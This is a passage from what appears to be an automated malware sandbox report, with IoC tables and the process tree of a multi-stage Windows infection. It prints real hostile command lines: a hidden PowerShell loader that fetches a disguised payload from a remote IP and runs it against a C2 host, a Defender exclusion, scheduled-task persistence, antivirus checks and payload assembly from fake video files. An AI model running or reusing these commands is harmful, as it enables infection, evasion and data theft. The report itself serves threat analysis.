4872	powershell.exe
4872	powershell.exe
1136	wjfOfXh.exe
1136	wjfOfXh.exe
2188	powershell.exe
2188	powershell.exe
2188	powershell.exe
1660	advnrNo.exe
1660	advnrNo.exe
1660	advnrNo.exe
1660	advnrNo.exe
240	powershell.exe
240	powershell.exe
240	powershell.exe
1660	advnrNo.exe
1660	advnrNo.exe
4656	powershell.exe
4656	powershell.exe
4656	powershell.exe
3556	MSBuild.exe
3556	MSBuild.exe
3556	MSBuild.exe
3556	MSBuild.exe
1660	advnrNo.exe
1660	advnrNo.exe
4180	MSBuild.exe
4180	MSBuild.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
2388	tzutil.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
1400	d3jhg_003.exe
1400	d3jhg_003.exe
1400	d3jhg_003.exe
4732	laf6w_001.exe
4732	laf6w_001.exe
4732	laf6w_001.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
1984	msedge.exe
1984	msedge.exe

Suspicious use of AdjustPrivilegeToken 59 IoCs

description	pid	Process
Token: SeDebugPrivilege	3724	50KfF6O.exe
Token: SeDebugPrivilege	616	tasklist.exe
Token: SeDebugPrivilege	3728	tasklist.exe
Token: SeDebugPrivilege	3216	k3t05Da.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeShutdownPrivilege	5924	chrome.exe
Token: SeCreatePagefilePrivilege	5924	chrome.exe
Token: SeShutdownPrivilege	5924	chrome.exe
Token: SeCreatePagefilePrivilege	5924	chrome.exe
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeShutdownPrivilege	5924	chrome.exe
Token: SeCreatePagefilePrivilege	5924	chrome.exe
Token: SeDebugPrivilege	412	k3t05Da.exe
Token: SeShutdownPrivilege	5924	chrome.exe
Token: SeCreatePagefilePrivilege	5924	chrome.exe
Token: SeShutdownPrivilege	5924	chrome.exe
Token: SeCreatePagefilePrivilege	5924	chrome.exe
Token: SeShutdownPrivilege	5924	chrome.exe
Token: SeCreatePagefilePrivilege	5924	chrome.exe
Token: SeShutdownPrivilege	5924	chrome.exe
Token: SeCreatePagefilePrivilege	5924	chrome.exe
Token: SeDebugPrivilege	240	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeDebugPrivilege	5584	windowscore.exe
Token: SeDebugPrivilege	5280	powershell.exe
Token: SeDebugPrivilege	860	powershell.exe
Token: SeDebugPrivilege	4864	0000032312.exe
Token: SeIncreaseQuotaPrivilege	4656	powershell.exe
Token: SeSecurityPrivilege	4656	powershell.exe
Token: SeTakeOwnershipPrivilege	4656	powershell.exe
Token: SeLoadDriverPrivilege	4656	powershell.exe
Token: SeSystemProfilePrivilege	4656	powershell.exe
Token: SeSystemtimePrivilege	4656	powershell.exe
Token: SeProfSingleProcessPrivilege	4656	powershell.exe
Token: SeIncBasePriorityPrivilege	4656	powershell.exe
Token: SeCreatePagefilePrivilege	4656	powershell.exe
Token: SeBackupPrivilege	4656	powershell.exe
Token: SeRestorePrivilege	4656	powershell.exe
Token: SeShutdownPrivilege	4656	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeSystemEnvironmentPrivilege	4656	powershell.exe
Token: SeRemoteShutdownPrivilege	4656	powershell.exe
Token: SeUndockPrivilege	4656	powershell.exe
Token: SeManageVolumePrivilege	4656	powershell.exe
Token: 33	4656	powershell.exe
Token: 34	4656	powershell.exe
Token: 35	4656	powershell.exe
Token: 36	4656	powershell.exe
Token: SeDebugPrivilege	384	powershell.exe
Token: SeDebugPrivilege	5692	word.exe
Token: SeDebugPrivilege	14068	powershell.exe
Token: SeLoadDriverPrivilege	2388	tzutil.exe
Token: SeDebugPrivilege	7548	powershell.exe
Token: SeDebugPrivilege	7436	powershell.exe
Token: SeDebugPrivilege	12840	powershell.exe
Token: SeDebugPrivilege	13140	powershell.exe
Token: SeDebugPrivilege	13580	powershell.exe
Token: SeDebugPrivilege	6812	powershell.exe
Token: SeDebugPrivilege	7948	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2992	Organizations.com
2992	Organizations.com
2992	Organizations.com
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
5924	chrome.exe
1984	msedge.exe
4792	RrRYo50.exe
5324	7a61d21a7c.exe
5324	7a61d21a7c.exe
5324	7a61d21a7c.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
2992	Organizations.com
2992	Organizations.com
2992	Organizations.com
5324	7a61d21a7c.exe
5324	7a61d21a7c.exe
5324	7a61d21a7c.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5692	word.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3864 wrote to memory of 3728	3864	random.exe	82
PID 3864 wrote to memory of 3728	3864	random.exe	82
PID 3864 wrote to memory of 3728	3864	random.exe	82
PID 3728 wrote to memory of 3352	3728	G8U31.exe	83
PID 3728 wrote to memory of 3352	3728	G8U31.exe	83
PID 3728 wrote to memory of 3352	3728	G8U31.exe	83
PID 3352 wrote to memory of 1916	3352	1P27l3.exe	85
PID 3352 wrote to memory of 1916	3352	1P27l3.exe	85
PID 3352 wrote to memory of 1916	3352	1P27l3.exe	85
PID 3728 wrote to memory of 5584	3728	G8U31.exe	86
PID 3728 wrote to memory of 5584	3728	G8U31.exe	86
PID 3728 wrote to memory of 5584	3728	G8U31.exe	86
PID 3864 wrote to memory of 5156	3864	random.exe	89
PID 3864 wrote to memory of 5156	3864	random.exe	89
PID 3864 wrote to memory of 5156	3864	random.exe	89
PID 1916 wrote to memory of 3724	1916	rapes.exe	90
PID 1916 wrote to memory of 3724	1916	rapes.exe	90
PID 3724 wrote to memory of 2424	3724	50KfF6O.exe	92
PID 3724 wrote to memory of 2424	3724	50KfF6O.exe	92
PID 1916 wrote to memory of 2040	1916	rapes.exe	93
PID 1916 wrote to memory of 2040	1916	rapes.exe	93
PID 1916 wrote to memory of 2040	1916	rapes.exe	93
PID 2040 wrote to memory of 4516	2040	zx4PJh6.exe	94
PID 2040 wrote to memory of 4516	2040	zx4PJh6.exe	94
PID 2040 wrote to memory of 4516	2040	zx4PJh6.exe	94
PID 4516 wrote to memory of 616	4516	CMD.exe	96
PID 4516 wrote to memory of 616	4516	CMD.exe	96
PID 4516 wrote to memory of 616	4516	CMD.exe	96
PID 4516 wrote to memory of 2112	4516	CMD.exe	97
PID 4516 wrote to memory of 2112	4516	CMD.exe	97
PID 4516 wrote to memory of 2112	4516	CMD.exe	97
PID 4516 wrote to memory of 3728	4516	CMD.exe	98
PID 4516 wrote to memory of 3728	4516	CMD.exe	98
PID 4516 wrote to memory of 3728	4516	CMD.exe	98
PID 4516 wrote to memory of 4824	4516	CMD.exe	99
PID 4516 wrote to memory of 4824	4516	CMD.exe	99
PID 4516 wrote to memory of 4824	4516	CMD.exe	99
PID 4516 wrote to memory of 2420	4516	CMD.exe	100
PID 4516 wrote to memory of 2420	4516	CMD.exe	100
PID 4516 wrote to memory of 2420	4516	CMD.exe	100
PID 4516 wrote to memory of 6032	4516	CMD.exe	101
PID 4516 wrote to memory of 6032	4516	CMD.exe	101
PID 4516 wrote to memory of 6032	4516	CMD.exe	101
PID 4516 wrote to memory of 2080	4516	CMD.exe	102
PID 4516 wrote to memory of 2080	4516	CMD.exe	102
PID 4516 wrote to memory of 2080	4516	CMD.exe	102
PID 4516 wrote to memory of 3284	4516	CMD.exe	103
PID 4516 wrote to memory of 3284	4516	CMD.exe	103
PID 4516 wrote to memory of 3284	4516	CMD.exe	103
PID 4516 wrote to memory of 5244	4516	CMD.exe	104
PID 4516 wrote to memory of 5244	4516	CMD.exe	104
PID 4516 wrote to memory of 5244	4516	CMD.exe	104
PID 4516 wrote to memory of 2992	4516	CMD.exe	105
PID 4516 wrote to memory of 2992	4516	CMD.exe	105
PID 4516 wrote to memory of 2992	4516	CMD.exe	105
PID 4516 wrote to memory of 3824	4516	CMD.exe	106
PID 4516 wrote to memory of 3824	4516	CMD.exe	106
PID 4516 wrote to memory of 3824	4516	CMD.exe	106
PID 1916 wrote to memory of 3216	1916	rapes.exe	108
PID 1916 wrote to memory of 3216	1916	rapes.exe	108
PID 1916 wrote to memory of 3216	1916	rapes.exe	108
PID 2992 wrote to memory of 1984	2992	Organizations.com	109
PID 2992 wrote to memory of 1984	2992	Organizations.com	109
PID 2992 wrote to memory of 1984	2992	Organizations.com	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2424	attrib.exe

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2596
- C:\Windows\SysWOW64\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1984

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3864
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\G8U31.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\G8U31.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3728
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1P27l3.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1P27l3.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3352
  - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Downloads MZ/PE file
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Adds Run key to start application
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1916
    - - C:\Users\Admin\AppData\Local\Temp\10283690101\50KfF6O.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10283690101\50KfF6O.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3724
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\10283690101\50KfF6O.exe
        6⤵
        Views/modifies file attributes
        
        PID:2424
    - - C:\Users\Admin\AppData\Local\Temp\10286670101\zx4PJh6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10286670101\zx4PJh6.exe"
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2040
      - C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4516
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:616
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2112
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3728
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4824
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 440824
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2420
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Architecture.wmv
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6032
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "Offensive" Inter
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2080
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 440824\Organizations.com + Flexible + Damn + Hard + College + Corp + Cj + Boulevard + Drainage + Truth 440824\Organizations.com
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3284
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Dancing.wmv + ..\Ka.wmv + ..\Bali.wmv + ..\Liability.wmv + ..\Lamps.wmv + ..\Electro.wmv + ..\Shakespeare.wmv + ..\Make.wmv + ..\Physiology.wmv + ..\Witness.wmv + ..\Submitting.wmv + ..\Bd.wmv h
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5244
        
        C:\Users\Admin\AppData\Local\Temp\440824\Organizations.com
        
        Organizations.com h
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:2992
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2992 -s 960
        8⤵
        Program crash
        
        PID:5604
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3824
    - - C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3216
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\File.bat" "
        6⤵
        Drops startup file
        System Location Discovery: System Language Discovery
        
        PID:4912
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cDovLzE5Ni4yNTEuOTEuNDIvdXAvdXBsb2Fkcy9lbmNyeXB0aW9uMDIuanBn'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('httpss.myvnc.com', '1907');"
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2188
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ohbuGGy.exe"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4872
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ohbuGGy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp337F.tmp"
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:5492
      - C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10286880101\k3t05Da.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:412
    - - C:\Users\Admin\AppData\Local\Temp\10287840101\advnrNo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10287840101\advnrNo.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:1660
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        6⤵
        Uses browser remote debugging
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:5924
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x138,0x13c,0x140,0x114,0x144,0x7ffa8f14dcf8,0x7ffa8f14dd04,0x7ffa8f14dd10
        7⤵
        
        PID:572
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1460,i,988807848495865622,13917899685814014228,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2208 /prefetch:11
        7⤵
        
        PID:5852
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2180,i,988807848495865622,13917899685814014228,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2176 /prefetch:2
        7⤵
        
        PID:5096
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2392,i,988807848495865622,13917899685814014228,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2344 /prefetch:13
        7⤵
        
        PID:4268
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3280,i,988807848495865622,13917899685814014228,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3316 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:3704
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3288,i,988807848495865622,13917899685814014228,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3340 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:3124
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4300,i,988807848495865622,13917899685814014228,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4132 /prefetch:9
        7⤵
        Uses browser remote debugging
        
        PID:3640
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4648,i,988807848495865622,13917899685814014228,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3756 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:5648
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4872,i,988807848495865622,13917899685814014228,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=5228 /prefetch:14
        7⤵
        
        PID:5408
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5516,i,988807848495865622,13917899685814014228,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=5528 /prefetch:14
        7⤵
        
        PID:3840
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        6⤵
        Uses browser remote debugging
        
        PID:5592
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --edge-skip-compat-layer-relaunch
        7⤵
        Uses browser remote debugging
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:1984
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x24c,0x7ffa8317f208,0x7ffa8317f214,0x7ffa8317f220
        8⤵
        
        PID:1952
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1836,i,10331556066265602797,14910620470136768403,262144 --variations-seed-version --mojo-platform-channel-handle=2156 /prefetch:11
        8⤵
        
        PID:3948
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2052,i,10331556066265602797,14910620470136768403,262144 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:2
        8⤵
        
        PID:4560
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2512,i,10331556066265602797,14910620470136768403,262144 --variations-seed-version --mojo-platform-channel-handle=2528 /prefetch:13
        8⤵
        
        PID:1124
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3432,i,10331556066265602797,14910620470136768403,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:3260
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3460,i,10331556066265602797,14910620470136768403,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:4844
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\1dt00" & exit
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2456
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 11
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:480
    - - C:\Users\Admin\AppData\Local\Temp\10287990101\wjfOfXh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10287990101\wjfOfXh.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1136
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\10288540141\4wAPcC0.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:240
      - C:\Windows\system32\windowspowershell\v1.0\powershell.exe
        
        "C:\Windows\sysnative\windowspowershell\v1.0\powershell.exe"
        6⤵
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4656
    - - C:\Users\Admin\AppData\Local\Temp\10288740101\Kr9UTz2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10288740101\Kr9UTz2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4964
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3556
    - - C:\Users\Admin\AppData\Local\Temp\10291530101\OkH8IPF.exe
        
